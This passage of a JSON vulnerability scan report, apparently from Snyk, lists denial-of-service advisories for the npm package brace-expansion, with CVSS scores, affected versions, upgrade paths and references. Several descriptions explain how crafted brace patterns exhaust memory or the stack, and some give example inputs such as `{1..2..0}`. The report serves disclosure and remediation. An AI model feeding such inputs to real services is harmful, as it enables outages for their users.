"percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], 